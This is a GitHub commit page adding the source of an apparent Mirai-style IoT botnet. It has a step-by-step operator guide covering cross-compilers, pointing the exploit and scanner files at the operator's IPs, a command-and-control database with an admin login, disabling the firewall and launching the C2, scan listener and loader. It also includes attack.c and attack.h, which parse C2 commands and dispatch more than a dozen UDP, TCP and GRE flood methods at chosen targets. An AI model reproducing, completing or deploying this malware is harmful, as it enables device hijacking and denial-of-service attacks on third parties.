-
Notifications
You must be signed in to change notification settings - Fork 57
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
51 changed files
with
10,417 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Installing Everything: U need Centos 6 for this | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Copy & Paste This: yum update -y; yum install epel-release -y; yum groupinstall "Development Tools" -y; yum install gmp-devel -y; ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10; yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Copy & Paste This: rm -rf /usr/local/go; wget https://dl.google.com/go/go1.10.3.linux-amd64.tar.gz; sha256sum go1.10.3.linux-amd64.tar.gz; sudo tar -C /usr/local -xzf go1.10.3.linux-amd64.tar.gz; export PATH=$PATH:/usr/local/go/bin; source ~/.bash_profile; rm -rf go1.10.3.linux-amd64.tar.gz | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Copy & Paste This: mkdir /etc/xcompile; cd /etc/xcompile; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2; wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2; wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2; wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2; tar -jxf cross-compiler-i586.tar.bz2; tar -jxf cross-compiler-m68k.tar.bz2; tar -jxf cross-compiler-mips.tar.bz2; tar -jxf cross-compiler-mipsel.tar.bz2; tar -jxf cross-compiler-powerpc.tar.bz2; tar -jxf cross-compiler-sh4.tar.bz2; tar -jxf cross-compiler-sparc.tar.bz2; tar -jxf cross-compiler-armv4l.tar.bz2; tar -jxf cross-compiler-armv5l.tar.bz2; tar -jxf cross-compiler-armv6l.tar.bz2; tar -jxf cross-compiler-armv7l.tar.bz2; rm -rf *.tar.bz2; mv cross-compiler-i586 i586; mv cross-compiler-m68k m68k; mv cross-compiler-mips mips; mv cross-compiler-mipsel mipsel; mv cross-compiler-powerpc powerpc; mv cross-compiler-sh4 sh4; mv cross-compiler-sparc sparc; mv cross-compiler-armv4l armv4l; mv cross-compiler-armv5l armv5l; mv cross-compiler-armv6l armv6l; mv cross-compiler-armv7l armv7l; cd /tmp; wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz -q; tar -xzf go1.8.3.linux-amd64.tar.gz; mv go /usr/local/go; cd ~/ | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Change IP's: | ||
/bot/huawei.c Find wget | ||
/bot/thinkphp.c Find wget | ||
/bot/zyxel_scanner.c Find wget | ||
/bot/includes.h (4 Places) | ||
/cnc/main.go | ||
/dlr/main.c | ||
/loader/src/main.c (Lines 30, 31, Twice on 42) | ||
/scanListen.go | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Install mysql make the password root | ||
Copy & Paste This: service mysqld start; mysql_secure_installation | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Log into mysql: | ||
Copy & Paste This: mysql -u root -p | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Copy & Paste This: | ||
|
||
CREATE DATABASE Joker; | ||
use Joker; | ||
CREATE TABLE `history` ( | ||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT, | ||
`user_id` int(10) unsigned NOT NULL, | ||
`time_sent` int(10) unsigned NOT NULL, | ||
`duration` int(10) unsigned NOT NULL, | ||
`command` text NOT NULL, | ||
`max_bots` int(11) DEFAULT '-1', | ||
PRIMARY KEY (`id`), | ||
KEY `user_id` (`user_id`) | ||
); | ||
|
||
CREATE TABLE `users` ( | ||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT, | ||
`username` varchar(32) NOT NULL, | ||
`password` varchar(32) NOT NULL, | ||
`duration_limit` int(10) unsigned DEFAULT NULL, | ||
`cooldown` int(10) unsigned NOT NULL, | ||
`wrc` int(10) unsigned DEFAULT NULL, | ||
`last_paid` int(10) unsigned NOT NULL, | ||
`max_bots` int(11) DEFAULT '-1', | ||
`admin` int(10) unsigned DEFAULT '0', | ||
`intvl` int(10) unsigned DEFAULT '30', | ||
`api_key` text, | ||
PRIMARY KEY (`id`), | ||
KEY `username` (`username`) | ||
); | ||
|
||
CREATE TABLE `whitelist` ( | ||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT, | ||
`prefix` varchar(16) DEFAULT NULL, | ||
`netmask` tinyint(3) unsigned DEFAULT NULL, | ||
PRIMARY KEY (`id`), | ||
KEY `prefix` (`prefix`) | ||
); | ||
INSERT INTO users VALUES (NULL, 'clown', 'clown1337', 0, 0, 0, 0, -1, 1, 30, ''); | ||
|
||
CREATE TABLE `logins` ( | ||
`id` int(11) NOT NULL, | ||
`username` varchar(32) NOT NULL, | ||
`action` varchar(32) NOT NULL, | ||
`ip` varchar(15) NOT NULL, | ||
`timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP | ||
) ENGINE=InnoDB DEFAULT CHARSET=latin1; | ||
exit; | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Copy & Paste This: cd ~/; chmod 0777 * -R; sh build.sh | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
Copy & Paste This: python payload.py; service httpd restart | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
iptables -F;service iptables stop | ||
service httpd restart | ||
service mysqld restart | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
nano /usr/include/bits/typesizes.h | ||
scroll down and edit the 1024 to 999999 | ||
THEN SAVE IT WITH: ctrl X and then Y | ||
Copy & Paste ulimit -n999999; ulimit -u999999; ulimit -e999999 | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
cd ~/ | ||
screen -S cnc ./cnc | ||
CTRL A D | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
cd loader/ | ||
screen -S rep ./scanListen | ||
CTRL A D | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | ||
screen -S loader | ||
./run.sh | ||
CTRL A D | ||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
#define _GNU_SOURCE | ||
#include <stdlib.h> | ||
#include <unistd.h> | ||
#include <signal.h> | ||
#include <errno.h> | ||
#include "includes.h" | ||
#include "attack.h" | ||
#include "rand.h" | ||
#include "util.h" | ||
#include "scanner.h" | ||
uint8_t methods_len = 0; | ||
struct attack_method **methods = NULL; | ||
int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0}; | ||
BOOL attack_init(void) | ||
{ | ||
int i; | ||
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_method_udpgeneric); | ||
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_method_udpvse); | ||
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_method_udpdns); | ||
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_method_udpplain); | ||
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_method_tcpsyn); | ||
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_method_tcpack); | ||
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_method_tcpstomp); | ||
add_attack(ATK_VEC_XMAS, (ATTACK_FUNC)attack_method_tcpxmas); | ||
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_method_greip); | ||
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_method_greeth); | ||
add_attack(ATK_VEC_STD, (ATTACK_FUNC)attack_method_std); | ||
add_attack(ATK_VEC_OVH, (ATTACK_FUNC)attack_method_ovh); | ||
add_attack(ATK_VEC_USYN, (ATTACK_FUNC)attack_method_tcpusyn); | ||
add_attack(ATK_VEC_TCPALL, (ATTACK_FUNC)attack_method_tcpall); | ||
add_attack(ATK_VEC_TCPFRAG, (ATTACK_FUNC)attack_method_tcpfrag); | ||
add_attack(ATK_VEC_ASYN, (ATTACK_FUNC)attack_method_asyn); | ||
return TRUE; | ||
} | ||
void attack_kill_all(void) | ||
{ | ||
int i; | ||
for (i = 0; i < ATTACK_CONCURRENT_MAX; i++) | ||
{ | ||
if (attack_ongoing[i] != 0) | ||
kill(attack_ongoing[i], 9); | ||
attack_ongoing[i] = 0; | ||
} | ||
scanner_init(); | ||
} | ||
void attack_parse(char *buf, int len) | ||
{ | ||
int i; | ||
uint32_t duration; | ||
ATTACK_VECTOR vector; | ||
uint8_t targs_len, opts_len; | ||
struct attack_target *targs = NULL; | ||
struct attack_option *opts = NULL; | ||
if (len < sizeof (uint32_t)) | ||
goto cleanup; | ||
duration = ntohl(*((uint32_t *)buf)); | ||
buf += sizeof (uint32_t); | ||
len -= sizeof (uint32_t); | ||
if (len == 0) | ||
goto cleanup; | ||
vector = (ATTACK_VECTOR)*buf++; | ||
len -= sizeof (uint8_t); | ||
if (len == 0) | ||
goto cleanup; | ||
targs_len = (uint8_t)*buf++; | ||
len -= sizeof (uint8_t); | ||
if (targs_len == 0) | ||
goto cleanup; | ||
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len)) | ||
goto cleanup; | ||
targs = calloc(targs_len, sizeof (struct attack_target)); | ||
for (i = 0; i < targs_len; i++) | ||
{ | ||
targs[i].addr = *((ipv4_t *)buf); | ||
buf += sizeof (ipv4_t); | ||
targs[i].netmask = (uint8_t)*buf++; | ||
len -= (sizeof (ipv4_t) + sizeof (uint8_t)); | ||
targs[i].sock_addr.sin_family = AF_INET; | ||
targs[i].sock_addr.sin_addr.s_addr = targs[i].addr; | ||
} | ||
if (len < sizeof (uint8_t)) | ||
goto cleanup; | ||
opts_len = (uint8_t)*buf++; | ||
len -= sizeof (uint8_t); | ||
if (opts_len > 0) | ||
{ | ||
opts = calloc(opts_len, sizeof (struct attack_option)); | ||
for (i = 0; i < opts_len; i++) | ||
{ | ||
uint8_t val_len; | ||
if (len < sizeof (uint8_t)) | ||
goto cleanup; | ||
opts[i].key = (uint8_t)*buf++; | ||
len -= sizeof (uint8_t); | ||
if (len < sizeof (uint8_t)) | ||
goto cleanup; | ||
val_len = (uint8_t)*buf++; | ||
len -= sizeof (uint8_t); | ||
if (len < val_len) | ||
goto cleanup; | ||
opts[i].val = calloc(val_len + 1, sizeof (char)); | ||
util_memcpy(opts[i].val, buf, val_len); | ||
buf += val_len; | ||
len -= val_len; | ||
} | ||
} | ||
errno = 0; | ||
attack_start(duration, vector, targs_len, targs, opts_len, opts); | ||
cleanup: | ||
if (targs != NULL) | ||
free(targs); | ||
if (opts != NULL) | ||
free_opts(opts, opts_len); | ||
} | ||
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||
{ | ||
int pid1, pid2; | ||
pid1 = fork(); | ||
if (pid1 == -1 || pid1 > 0) | ||
return; | ||
pid2 = fork(); | ||
if (pid2 == -1) | ||
exit(0); | ||
else if (pid2 == 0) | ||
{ | ||
sleep(duration); | ||
kill(getppid(), 9); | ||
exit(0); | ||
} | ||
else | ||
{ | ||
int i; | ||
for (i = 0; i < methods_len; i++) | ||
{ | ||
if (methods[i]->vector == vector) | ||
{ | ||
methods[i]->func(targs_len, targs, opts_len, opts); | ||
break; | ||
} | ||
} | ||
exit(0); | ||
} | ||
} | ||
char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def) | ||
{ | ||
int i; | ||
for (i = 0; i < opts_len; i++) | ||
{ | ||
if (opts[i].key == opt) | ||
return opts[i].val; | ||
} | ||
return def; | ||
} | ||
int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def) | ||
{ | ||
char *val = attack_get_opt_str(opts_len, opts, opt, NULL); | ||
if (val == NULL) | ||
return def; | ||
else | ||
return util_atoi(val, 10); | ||
} | ||
uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def) | ||
{ | ||
char *val = attack_get_opt_str(opts_len, opts, opt, NULL); | ||
if (val == NULL) | ||
return def; | ||
else | ||
return inet_addr(val); | ||
} | ||
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func) | ||
{ | ||
struct attack_method *method = calloc(1, sizeof (struct attack_method)); | ||
method->vector = vector; | ||
method->func = func; | ||
methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *)); | ||
methods[methods_len++] = method; | ||
} | ||
static void free_opts(struct attack_option *opts, int len) | ||
{ | ||
int i; | ||
if (opts == NULL) | ||
return; | ||
for (i = 0; i < len; i++) | ||
{ | ||
if (opts[i].val != NULL) | ||
free(opts[i].val); | ||
} | ||
free(opts); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,95 @@ | ||
#pragma once | ||
#include <time.h> | ||
#include <arpa/inet.h> | ||
#include <linux/ip.h> | ||
#include <linux/udp.h> | ||
#include <linux/tcp.h> | ||
#include "includes.h" | ||
#include "protocol.h" | ||
#define ATTACK_CONCURRENT_MAX 15 | ||
struct attack_target { | ||
struct sockaddr_in sock_addr; | ||
ipv4_t addr; | ||
uint8_t netmask; | ||
}; | ||
struct attack_option { | ||
char *val; | ||
uint8_t key; | ||
}; | ||
typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
typedef uint8_t ATTACK_VECTOR; | ||
#define ATK_VEC_UDP 0 | ||
#define ATK_VEC_VSE 1 | ||
#define ATK_VEC_DNS 2 | ||
#define ATK_VEC_SYN 3 | ||
#define ATK_VEC_ACK 4 | ||
#define ATK_VEC_STOMP 5 | ||
#define ATK_VEC_GREIP 6 | ||
#define ATK_VEC_GREETH 7 | ||
#define ATK_VEC_UDP_PLAIN 8 | ||
#define ATK_VEC_STD 9 | ||
#define ATK_VEC_XMAS 10 | ||
#define ATK_VEC_USYN 11 | ||
#define ATK_VEC_TCPALL 12 | ||
#define ATK_VEC_TCPFRAG 13 | ||
#define ATK_VEC_OVH 14 | ||
#define ATK_VEC_ASYN 15 | ||
#define ATK_OPT_PAYLOAD_SIZE 0 | ||
#define ATK_OPT_PAYLOAD_RAND 1 | ||
#define ATK_OPT_IP_TOS 2 | ||
#define ATK_OPT_IP_IDENT 3 | ||
#define ATK_OPT_IP_TTL 4 | ||
#define ATK_OPT_IP_DF 5 | ||
#define ATK_OPT_SPORT 6 | ||
#define ATK_OPT_DPORT 7 | ||
#define ATK_OPT_DOMAIN 8 | ||
#define ATK_OPT_DNS_HDR_ID 9 | ||
#define ATK_OPT_URG 11 | ||
#define ATK_OPT_ACK 12 | ||
#define ATK_OPT_PSH 13 | ||
#define ATK_OPT_RST 14 | ||
#define ATK_OPT_SYN 15 | ||
#define ATK_OPT_FIN 16 | ||
#define ATK_OPT_SEQRND 17 | ||
#define ATK_OPT_ACKRND 18 | ||
#define ATK_OPT_GRE_CONSTIP 19 | ||
#define ATK_OPT_SOURCE 25 | ||
struct attack_method { | ||
ATTACK_FUNC func; | ||
ATTACK_VECTOR vector; | ||
}; | ||
struct attack_stomp_data { | ||
ipv4_t addr; | ||
uint32_t seq, ack_seq; | ||
port_t sport, dport; | ||
}; | ||
struct attack_xmas_data { | ||
ipv4_t addr; | ||
uint32_t seq, ack_seq; | ||
port_t sport, dport; | ||
}; | ||
BOOL attack_init(void); | ||
void attack_kill_all(void); | ||
void attack_parse(char *, int); | ||
void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *); | ||
int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int); | ||
uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t); | ||
void attack_method_udpgeneric(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_udpvse(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_udpdns(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_udpplain(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_tcpsyn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_tcpack(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_tcpstomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_tcpxmas(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_greip(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_greeth(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_std(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_tcpusyn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_tcpall(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_tcpfrag(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_asyn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
void attack_method_ovh(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||
static void add_attack(ATTACK_VECTOR, ATTACK_FUNC); | ||
static void free_opts(struct attack_option *, int); |
Oops, something went wrong.